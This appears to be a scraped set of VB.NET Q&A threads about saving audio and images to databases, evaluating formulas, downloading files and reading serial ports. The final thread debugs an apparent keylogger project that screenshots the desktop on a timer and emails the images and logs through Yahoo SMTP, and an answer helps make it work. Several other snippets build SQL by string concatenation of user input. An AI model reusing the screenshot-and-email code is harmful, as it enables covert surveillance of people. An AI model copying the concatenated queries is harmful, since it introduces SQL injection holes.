Saving Audio File on SQL Server Management Studio using VB.net 2010 - vb.net

Please help me with this audio file saving on SQL server management studio connection.
I have a recorder on vb.net 2010 and i want to save my audio recorded in SQL and display it on DataGridview (vb.net 2010) at the same time save it on my database which is SQL.
Please help me guys, what are the propably codes for this saving thing on database. Please do not use C# and C++ as a guide or source code. Only VB.net

Create an Access Database in your D: drive and name it SoundDB.accdb
Create a table in the DB and name it tblSounds with 3 fields sndid text(2), sndname text(20) , sndbinary OLEObject)
Create a new form in your project
Add a Textbox and 3 buttons.
Type an Id number (2 digits) in the textbox
button 1 will start recording
button2 will stop recording and save the sound to your DB
button3 will fetch from DB the sound for the ID you specify in the textbox and play it
Add these lines to the beginning of your code.
Imports System.IO
Imports System.Text
Imports System.Data.OleDb
Add this declaration to your code
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" ( _
ByVal lpstrCommand As String, _
ByVal lpstrReturnString As StringBuilder, _
ByVal uReturnLength As Integer, _
ByVal hwndCallback As IntPtr) As Integer
Paste the Sub routines below into your code
Private Sub SaveSndtoDB(ByVal SndID As String, ByVal sndName As String)
Dim Connection As New OleDb.OleDbConnection("Provider=Microsoft.ACE.OLEDB.12.0;Data Source=D:\SoundDB.accdb")
Dim SndSourceStream As Stream = New FileStream("D:\FileName.wav", FileMode.Open, FileAccess.Read)
Dim BinarySndReader As New BinaryReader(SndSourceStream)
Dim bytes As Byte() = BinarySndReader.ReadBytes(SndSourceStream.Length)
Connection.Open()
'insert the file into database
Dim cmd As New OleDb.OleDbCommand("INSERT INTO tblSounds (sndid,sndname,sndbinary) VALUES ('" + SndID + "','" + sndName + "',#SndBinary)", Connection)
cmd.Parameters.AddWithValue("#SoundBinary", bytes)
Try
cmd.ExecuteNonQuery()
MsgBox("File Uploaded Successfully")
Catch ex As Exception
MsgBox("There was a problem, file upload was not successful. " + ex.Message)
End Try
SndSourceStream.Flush()
SndSourceStream.Close()
FileClose()
Reset()
Application.DoEvents()
End Sub
Private Sub PlaySndfromDB(ByVal sndID As String)
FileClose()
Reset()
Dim Connection As New OleDb.OleDbConnection("Provider=Microsoft.ACE.OLEDB.12.0;Data Source=D:\SoundDB.accdb")
Dim SndSourceStream As Stream = New FileStream("D:\FileName.wav", FileMode.Create, FileAccess.Write)
Try
Connection.Open()
Dim command As New OleDbCommand("SELECT sndbinary FROM tblsounds WHERE sndID = #ID", Connection)
command.Parameters.AddWithValue("#ID", sndID)
Dim soundData As Byte() = DirectCast(command.ExecuteScalar(), Byte())
Connection.Close()
command.Dispose()
SndSourceStream.Write(soundData, 0, soundData.Length)
SndSourceStream.Flush()
SndSourceStream.Close()
My.Computer.Audio.Play("d:\FileName.wav", AudioPlayMode.Background)
Catch ex As Exception
MsgBox(ex.ToString())
End Try
End Sub
Private Sub StartRecording()
mciSendString("open new type waveaudio alias mywav", Nothing, 0, 0)
mciSendString("record mywav", Nothing, 0, 0)
End Sub
Private Sub SaveRecording()
mciSendString("stop mywav", Nothing, 0, 0)
mciSendString("save mywav d:\FileName.wav", Nothing, 0, 0)
mciSendString("close mywav", Nothing, 0, 0)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
StartRecording()
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
SaveRecording()
Application.DoEvents()
SaveSndtoDB(TextBox1.Text, "Snd" + TextBox1.Text)
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
PlaySndfromDB(TextBox1.Text)
End Sub
================================================================================
Hope this helps, feel free to let me know if you need further help.
I have not tested this code with very long sound files, it works well with snippets.

'create a table in SQL with feilds name F1,F2,F3 .... and Aud as image
Dim path
path = "Data Source=SERVER\SQLEXPRESS;Initial Catalog="DatabaseName";Integrated Security=True; " ';user=Uni;password=uni"
Con.Open()
Public Sub InsertAudioDataInTable(TableName, TableMapingName, LoopStart, LoopEnd, TaxtName, Panel, AdioPath)
Dim SndSourceStream As Stream = New FileStream(AdioPath, FileMode.Open, FileAccess.Read)
Dim BinarySndReader As New BinaryReader(SndSourceStream)
Dim arrImage As Byte() = BinarySndReader.ReadBytes(SndSourceStream.Length)
Dim strImage As String
strImage = "#Aud"
Dim b = 0
Dim dataContaner(LoopEnd + 2 - LoopStart) As String
For a = LoopStart To LoopEnd
dataContaner(b) = Panel.Controls(TaxtName & a).Text.ToString
b = b + 1
Next
''''''''''''''
Dim myCmd As New SqlCommand
myCmd.Connection = Con
''''''''''
Dim T As String
' T.Text = null
Dim aaa = "INSERT INTO " & TableName
Dim bbb = ""
For i = LoopStart To LoopEnd
bbb = bbb + "F" & i & ","
Next
T = aaa & " (" + bbb & "Aud"
' T = T.Remove(T.Length - 1)
T = T & ")VALUES ("
Dim ccc = ""
b = 0
For a = LoopStart To LoopEnd
ccc = ccc & "'" & dataContaner(b) & "',"
b = b + 1
Next
T = T + ccc
myCmd.CommandText = T + strImage & ")"
myCmd.Parameters.Add(strImage, SqlDbType.Binary).Value = arrImage
myCmd.ExecuteNonQuery()
''''''''
End Sub

Related

HOW TO SOLVE There is no row at position 2 VB.NET using sqldatabase

Private Sub Charges()
Dim Query As String
Query = "Select * from Charges where DOctype='" & comboBoxTranType.Text & "'"
Dim cmd As New SqlCommand(Query, con)
con.Open()
Dim dataAdapter As New SqlDataAdapter(Query, con)
Dim dt As New DataTable
dataAdapter.Fill(dt)
dataAdapter.Dispose()
If dt.Rows.Count > 0 Then
LabelV001.Text = dt.Rows(0).Item("Head").ToString()
LabelV002.Text = dt.Rows(1).Item("Head").ToString()
LabelV003.Text = dt.Rows(2).Item("Head").ToString()
End If
If dt.Rows.Count > 0 Then
LabelFIELD1.Text = dt.Rows(0).Item("Equation").ToString()
LabelFIELD2.Text = dt.Rows(1).Item("Equation").ToString()
LabelFIELD3.Text = dt.Rows(2).Item("Equation").ToString()
End If
con.Close()
End Sub
SIR WITH YOUR HELP I GOT THE RESULT BEFORE, BUT CAUSE OF ERROR FOR FIELDTEXT3 i.e There is no row at position 2, equation 3 cannot be calculated, pls help me out,
Not sure why they were so quick to close your new question...I was building an answer for it.
Click on Project --> Add Reference
Switch to the COM option
Select the "Microsoft Script Control 1.0" entry and click OK.
Now you can use code like below, creating code for textCharges1 --> V001 through textCharges25 --> V025:
Public Class Form1
Private SC As New MSScriptControl.ScriptControl
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
SC.Language = "VBScript"
Dim ctl As Control
Dim ctlName, functionBody As String
functionBody = "Function {0}()" & vbCrLf & vbTab & "{0} = CDbl({1}.Text)" & vbCrLf & "End Function"
For i As Integer = 1 To 25
ctlName = "textCharges" & i
ctl = Me.Controls.Find(ctlName, True).FirstOrDefault
If Not IsNothing(ctl) Then
SC.AddObject(ctlName, ctl, True)
SC.AddCode(String.Format(functionBody, "V" & i.ToString("000"), ctlName))
End If
Next
LABELFIELD2.Text = "V001*V002/100"
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Try
Dim result = SC.Eval(LABELFIELD2.Text)
lblResult.Text = result
Catch ex As Exception
lblResult.Text = "{Error}"
End Try
End Sub
End Class
Running example:

Download a file from google drive

First of all, sorry for my english. Second, I want to make an app that, at every launch download a .txt file from google drive, the file is defined (I mean, it's in drive). It's just a single file, but, when I launch the app, the file is downloaded, but dosen't contain anything..
Here is my code:
Private Function ReadLine(ByVal Line As Integer, ByVal lista As List(Of String)) As String
Return lista(Line - 1)
End Function
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If My.Computer.Network.IsAvailable() = True Then
Try
My.Computer.FileSystem.DeleteFile("C:\WINDOWS\" & fisier)
Catch ex As Exception
End Try
My.Computer.Network.DownloadFile("https://doc-14-7c-docs.googleusercontent.com/docs/securesc/17t22h2a63tpkhdgv047v6i0s5a9o8bm/qgqjocmi87jt0up72gfpg9dseeo3pt84/1458396000000/07699472972018131827/07699472972018131827/0B8iVIf__yN1FUDV1STNWODJUYms?e=download&nonce=5jnki0mtgo520&user=07699472972018131827&hash=0gi5r6k7rm2uob14062tlbsk0nhpkoo1", _
"C:\WINDOWS\" & fisier)
Dim reader As New IO.StreamReader("C:\WINDOWS\" & fisier)
Dim lista As New List(Of String)
While Not reader.EndOfStream
lista.Add(reader.ReadLine)
End While
reader.Close()
If My.Computer.FileSystem.FileExists(fisier2) = False Then
lblWould.Text = ReadLine(1, lista)
Else
Dim nr As Integer
nr = Val(My.Computer.FileSystem.ReadAllText(fisier2))
nrx = nr
End If
Dim contain As String = My.Computer.FileSystem.ReadAllText("C:\WINDOWS\" & fisier)
contain = contain.Replace(lblWould.Text, "SEEN!")
My.Computer.FileSystem.WriteAllText("C:\WINDOWS\" & fisier, contain, False)
Else
MsgBox("Trebuie sa fi connectat la internet!")
Me.Close()
End If
End Sub
Private Sub btn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnYes.Click, btnNo.Click
Dim reader As New IO.StreamReader("C:\WINDOWS\" & fisier)
Dim lista As New List(Of String)
Dim a As String
While Not reader.EndOfStream
a = reader.ReadLine()
If Not a = "SEEN!" Then
lista.Add(reader.ReadLine)
End If
End While
lblWould.Text = lista(nrx + 1)
nrx += 1
Dim contain As String = My.Computer.FileSystem.ReadAllText("C:\WINDOWS\" & fisier)
contain = contain.Replace(lblWould.Text, "SEEN!")
My.Computer.FileSystem.WriteAllText("C:\WINDOWS\" & fisier, contain, False)
End Sub`
Thanks!

Loading image from database to picturebox

I'm new to visual basic and I have a problem in loading the image from my database. I'm currently using image data type. This is how I save the image
Imports System.Data
Imports System.Data.SqlClient
Public Class ScannerX_Add
Dim ImageFilename As String
Dim ImageUpload As Image
Private Sub ButtonX1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Btn_Scan.Click
Try
OpenFileDialog1.Title = "Please Select a File"
OpenFileDialog1.InitialDirectory = "C:\Users\ITTestServer\Desktop\Dekstop\"
OpenFileDialog1.ShowDialog()
ScannerX_Pic.Image = Image.FromFile(OpenFileDialog1.FileName)
ImageFilename = OpenFileDialog1.FileName
ImageUpload = Image.FromFile(OpenFileDialog1.FileName)
Catch ex As Exception
MsgBox("Please insert scan finger")
Exit Sub
End Try
End Sub
Private Sub Btn_Save_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Btn_Save.Click
If ImageFilename <> "" Then
Dim imageNameTemp As String
imageNameTemp = ImageFilename
While (imageNameTemp.Contains("\"))
imageNameTemp = imageNameTemp.Remove(0, imageNameTemp.IndexOf("\") + 1)
End While
Dim ms As New IO.MemoryStream
If ImageFilename.Contains("jpeg") Or ImageFilename.Contains("jpg") Then
ImageUpload.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg)
End If
If ImageFilename.Contains("png") Then
ImageUpload.Save(ms, System.Drawing.Imaging.ImageFormat.Png)
End If
If ImageFilename.Contains("gif") Then
ImageUpload.Save(ms, System.Drawing.Imaging.ImageFormat.Gif)
End If
If ImageFilename.Contains("bmp") Then
ImageUpload.Save(ms, System.Drawing.Imaging.ImageFormat.Bmp)
End If
Dim b() As Byte = ms.ToArray()
Dim cmd As New SqlCommand("Insert into Scanner (Name,Finger) VALUES('" & TxtBox_Name.Text.Trim & "','" & imageNameTemp & "')", Connection)
cmd.Parameters.Add("#BLOBData", SqlDbType.Image, b.Length).Value = b
cmd.ExecuteNonQuery()
MsgBox("Profile Has Been Saved")
Me.Close()
End If
End Sub
Now I need to load my image to picturebox which is currently in the Main form.
Private Sub ButtonX1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ButtonX1.Click
Command.CommandText = ("select Finger FROM Scanner")
Command.Connection = Connection
Dim da As New SqlDataAdapter(Command)
Dim ds As New DataSet()
da.Fill(ds, "projectimages")
Dim c As Integer = ds.Tables(0).Rows.Count
If c > 0 Then
Dim bytBLOBData() As Byte = _
ds.Tables(0).Rows(c - 1)("imagedate")
Dim stmBLOBData As New MemoryStream(bytBLOBData)
ScannerX_Pic2.Image = Image.FromStream(stmBLOBData)
End If
End Sub
Now I get the error Object reference not set to an instance of an object.
To save an image you could do something like this
Dim sql As String = "INSERT INTO Information VALUES(#name,#photo)"
Image Img = PictureBox1.BackgroundImage
Dim cmd As New SqlCommand(sql, con)
cmd.Parameters.AddWithValue("#name", TextBox1.Text)
Dim ms As New MemoryStream()
Img.Save(ms, Img.RawFormat)
Dim data As Byte() = ms.GetBuffer()
Dim p As New SqlParameter("#photo", SqlDbType.Image)
p.Value = data
cmd.Parameters.Add(p)
cmd.ExecuteNonQuery()
And to retrieve an image
cmd = New SqlCommand("select photo from Information where name='Rose'", con)
Dim imageData As Byte() = DirectCast(cmd.ExecuteScalar(), Byte())
If Not imageData Is Nothing Then
Using ms As New MemoryStream(imageData, 0, imageData.Length)
ms.Write(imageData, 0, imageData.Length)
PictureBox1.BackgroundImage = Image.FromStream(ms, True)
End Using
Also check out this article it's doing exactly what you are trying to achieve
http://www.codeproject.com/Articles/437937/Save-and-Retrieve-Image-from-a-SQL-Server-Database
The sql is selecting a column named "Finger":
"select Finger FROM Scanner"
But it's later trying to build an Image object from a column named "imagedate":
ds.Tables(0).Rows(c - 1)("imagedate")
It needs to use the same column name as the SQL result set:
ds.Tables(0).Rows(c - 1)("Finger")
There may be other problems as well, but that's what jumped out at me right away.

Read String From Serial port Visual Basic

Imports System.IO.Ports
Imports System.Text
Public Class Form4
Dim myStringBuilder As String
Dim insert As New OleDb.OleDbCommand
Dim cnn As New OleDb.OleDbConnection
Public user As String
Private Sub Serialport2_DataReceived(ByVal sender As Object, ByVal e As System.IO.Ports.SerialDataReceivedEventArgs) Handles SerialPort2.DataReceived
myStringBuilder = SerialPort2.ReadExisting()
Me.Invoke(New EventHandler(AddressOf UpdateControls))
End Sub
Private Sub UpdateControls(ByVal sender As Object, ByVal e As EventArgs)
Dim A As String = myStringBuilder
Dim Sqql As String
If Not cnn.State = ConnectionState.Open Then
cnn.Open()
End If
insert.Connection = cnn
Dim dt As New DataTable
Sqql = "SELECT * FROM `FileInfo` WHERE `File ID`='" & A & "'"
Dim cmd As New OleDb.OleDbDataAdapter(Sqql, cnn)
cmd.Fill(dt)
Dim i As Integer = dt.Rows.Count
Dim todaysdate As String = String.Format("{0:dd/MM/yyyy}", DateTime.Now)
If i = 1 Then
insert.CommandText = "INSERT INTO `File Log`(File ID,Name,Information,Time,Date) " & _
" VALUES('" & A & "','" & dt.Rows(0).Item("Name") & "','" & user & " telah" & dt.Rows(0).Item("Status") & "File" & "','" &
_
TimeOfDay & "','" & todaysdate & "')"
textBox1.Text += dt.Rows(0).Item("Name") & " " & TimeOfDay & " " & todaysdate &
Environment.NewLine
textBox1.Select(textBox1.TextLength, 0)
textBox1.ScrollToCaret()
insert.ExecuteNonQuery()
myStringBuilder = ""
Else
myStringBuilder = ""
textBox1.Text += A & Environment.NewLine
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
cnn = New OleDb.OleDbConnection
cnn.ConnectionString = "Provider=Microsoft.Jet.Oledb.4.0; Data Source=" & Application.StartupPath & "\data.mdb"
If SerialPort2 IsNot Nothing Then
SerialPort2.Close()
End If
SerialPort2 = My.Computer.Ports.OpenSerialPort("COM27", 9600, Parity.None, 8, StopBits.One)
textBox1.Text = "-- Door Have Open -- " & Environment.NewLine & Environment.NewLine
End Sub
Private Sub textBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles textBox1.TextChanged
End Sub End Class
in my serial monitor view it will appear correctly but in visual basic it will auto break line and not display the string in one line.
I Tried other method like serialport.readline() but nothing happen.
If you are having issues with extracting data from your serial port you could try this:
Sub SerialPort_DataReceived(sender As Object, e As SerialDataReceivedEventArgs)
Dim currentSP As SerialPort = Convert.ChangeType(sender, GetType(SerialPort))
Dim strBuilder As System.Text.StringBuilder = New System.Text.StringBuilder()
For index = 1 To currentSP.BytesToRead
strBuilder.Append(Convert.ChangeType(currentSP.ReadByte(), GetType(Char)))
Next
' Have a global string to allow the threads to have a shared resource
myString = strBuilder.ToString()
Me.Invoke(New EventHandler(AddressOf UpdateControls))
End Sub
It should work the same way as the SerialPort.ReadLine(), this approach also lets you manipulate the data however you want. Instead of working with a string you could always work the data like this:
Dim buffer As Byte() = New Byte(currentSP.BytesToRead) {}
buffer(index) = Convert.ChangeType(currentSP.ReadByte(), GetType(Byte))
So instead of appending the Char to the String you can add the Byte to the buffer
Dim str As String = MyCOMPort.ReadExisting()
If Me.InvokeRequired Then
Me.Invoke(New dlUpdateText(AddressOf updatetext), str)
Else
updatetext(str)
End If

IOException was unhandled vb.net

When I run my program, it encounter with this error
The process cannot access the file
'C:\Users\user\Documents\Visual Studio 2010\Projects\Keylogger\WindowsApplication1\bin\Debug\pic\img1.png'
because it is being used by another process.
This error is for
Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png")
Can someone help me about it? Thanks in advance!
Here is my full code:
private j as integer = 1
Public Function TakeImage()
Return TakeImage(0, 0, Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height)
End Function
Public Function TakeImage(ByVal X As Integer, ByVal Y As Integer, ByVal Width As Integer, ByVal Height As Integer)
Dim Img As New Bitmap(Width, Height)
Dim g As Graphics = Graphics.FromImage(Img)
g.CopyFromScreen(X, Y, 0, 0, Img.Size)
g.Dispose()
Return Img
End Function
Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
Dim i As Integer
Dim smtpServer As New SmtpClient
smtpServer.EnableSsl = True
Dim mail As New MailMessage
smtpServer.Credentials = New Net.NetworkCredential("********", "********")
smtpServer.Port = 587
smtpServer.Host = "smtp.mail.yahoo.com"
mail = New MailMessage
mail.From = New MailAddress("********")
mail.To.Add("*********")
mail.Subject = ("Parham")
mail.Body = txtlogs.Text
For i = 1 To 3
Using fs As FileStream = New FileStream(Application.StartupPath & "\pic\" & "\img" & i & ".png", FileMode.Open)
Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png")
mail.Attachments.Add(attach)
smtpServer.Send(mail)
If File.Exists(Application.StartupPath & "\pic\" & "\img" & j & ".png") Then
File.Delete(Application.StartupPath & "\pic\" & "\img" & j & ".png")
End If
End Using
Next
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If Not Directory.Exists(Application.StartupPath & "\pic\") Then
Directory.CreateDirectory(Application.StartupPath & "\pic\")
End If
End Sub
Private Sub tmrScrShot_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrScrShot.Tick
Dim picture As Image = TakeImage()
Using picture
picture.Save(Application.StartupPath & "\pic\" & "\img" & j & ".png", System.Drawing.Imaging.ImageFormat.Png)
End Using
j += 1
If j > 3 Then
j = New Integer
j = 1
End If
End Sub
You should first set Option Strict ON, then fix the warnings and errors that will be shown and then edit your post to the actual code.
The cause of the exception is a timing problem between the tmrEmail Timer object and the tmrScrShot Timer object.
EDIT:
This method takes a Image object which is then saved to a memory stream which is used to create a System.Net.Mail.Attachment
Private Function ToAttachment(img As Image) As System.Net.Mail.Attachment
Dim attachment As System.Net.Mail.Attachment
Using ms As New System.IO.MemoryStream()
img.Save(ms, System.Drawing.Imaging.ImageFormat.Png)
attachment = New System.Net.Mail.Attachment(New System.IO.MemoryStream(ms.GetBuffer), "image.png", "image/png")
End Using
Return attachment
End Function